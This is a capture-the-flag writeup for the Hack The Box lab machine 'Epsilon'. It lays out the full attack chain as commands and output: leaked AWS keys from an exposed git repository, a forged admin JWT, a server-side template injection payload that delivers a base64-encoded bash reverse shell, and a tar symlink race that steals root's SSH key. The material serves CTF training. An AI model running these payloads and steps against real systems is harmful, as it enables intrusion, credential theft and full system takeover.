Explore the fundamentals of cybersecurity in the Epsilon Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts#

10.10.11.134 cloud.epsilon.htb epsilon.htb

Script to add hosts automatically#

ip="10.10.11.134"
domain="cloud.epsilon.htb epsilon.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping#

nmap -sCV epsilon.htb
Nmap scan report for epsilon.htb (10.10.11.134)
Host is up (0.049s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-git: 
|   10.10.11.134:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Updating Tracking API  # Please enter the commit message for...
|_http-title: 403 Forbidden
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Costume Shop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Git Repository#

as revealed by nmap on port 80.

mkdir epsilon
git-dumper http://epsilon.htb/epsilon
cd epsilon
gitleaks detect -v
git show 7cf92a7a09e523c1c667d13847c9ba22464412f3

an AWS access key and secret key is showed

Aws Interaction#

aws configure
  • AWS Access Key ID: AQLA5M37BDN6FJP76TDC
  • AWS Secret Access Key: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
  • Default Region: us-east-1

Alternatively, you can directly create or edit the AWS credentials file:

mkdir -p ~/.aws
cat <<EOL > ~/.aws/credentials
[default]
aws_access_key_id = AQLA5M37BDN6FJP76TDC
aws_secret_access_key = OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
EOL
cat <<EOL > ~/.aws/config
[default]
region = us-east-1
output = json
EOL

List functions:

aws --endpoint-url=http://cloud.epsilon.htb lambda list-functions

Get Function:

aws --endpoint-url=http://cloud.epsilon.htb lambda get-function --function-name costume_shop_v1

You’ll find <http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code>. Download it with:

wget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code
unzip code
cat lambda_function.py

The following code reveals the website’s mechanism and exposes a hardcoded secret key

Generating JWT for Admin Access#

The admin coockie can be generated as follows:

python -c 'import jwt; print(jwt.encode({"username": "admin"}, "RrXCv`mrNe+5`wYq", algorithm="HS256"))'

Use the generated cookie for authentication:

auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4

Access the target page at http://epsilon.htb:5000/home

Exploiting SSTI and Gaining Reverse Shell Access#

To confirm the SSTI vulnerability, send a simple test payload to the /order endpoint:

cookie="Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg"
curl 'http://epsilon.htb:5000/order' -X POST -H "$cookie" --data-raw 'costume={{7*7}}&q=1&addr=pwn' | grep '49'

Seeing 49 in the response confirms the SSTI vulnerability.

To exploit this, use a payload that can execute system commands, like the following from PayloadsAllTheThings:

{{ namespace.__init__.__globals__.os.popen('id').read() }}

Start the listener:

nc -lvnp 9001

Prepare a reverse shell payload, encode it in base64 for easier injection, and deliver it to the target with curl:

rev="bash -i >& /dev/tcp/$(ip a | grep -A 2 'tun0:' | grep -oP '(?<=inet\s)\d+(\.\d+){3}')/9001 0>&1"
encodedrev=$(echo "$rev" | base64 -w 0)
payload="{{ namespace.__init__.__globals__.os.popen('echo $encodedrev | base64 -d | bash').read() }}"
cookie="Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg"
curl 'http://epsilon.htb:5000/order' -X POST -H "$cookie" --data-urlencode "costume=$payload" --data-urlencode "q=1" --data-urlencode "addr=pwn"

Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Press Ctrl+Z to background the shell, then run:

stty size; stty raw -echo; fg

As the last step, set the terminal environment:

export TERM=xterm;

Read the flag:

cat /home/tom/user.txt

Analysis of backup.sh#

System Process Monitoring with pspy
pspy was utilized to monitor scheduled server tasks, providing visibility into system processes without root access. More information on pspy on GitHub.

Script Analysis: /usr/bin/backup.sh
The backup.sh script runs every minute, managing backups in /opt/backups. Key operations include:

#!/bin/bash
file=$(date +%N)
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=$(date +%N)
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*

Script Workflow

  • Cleanup: Empties /opt/backups.
  • Backup: Archives /var/www/app to /opt/backups with a timestamped filename.
  • Checksum: Computes and saves SHA1 hash of the tar file.
  • Archival: After a short delay, packages the checksum and tar file into /var/backups/web_backups.
  • Final Cleanup: Clears /opt/backups after completion.

Security Note
Using the -h (--dereference) option in tar follows symlinks, posing potential security risks by allowing unauthorized file access or modification through crafted symlinks.

Exploit#

while [[ -z "$(ls /opt/backups 2>/dev/null)" ]]; do sleep 3; done
rm -f /opt/backups/checksum && ln -sf /root/.ssh /opt/backups/checksum
sleep 3
file=$(ls -t /var/backups/web_backups | head -n1)
cp "/var/backups/web_backups/$file" /tmp && cd /tmp
tar -xf "$file"
ssh -i /tmp/opt/backups/checksum/id_rsa root@10.10.11.134
cat root.txt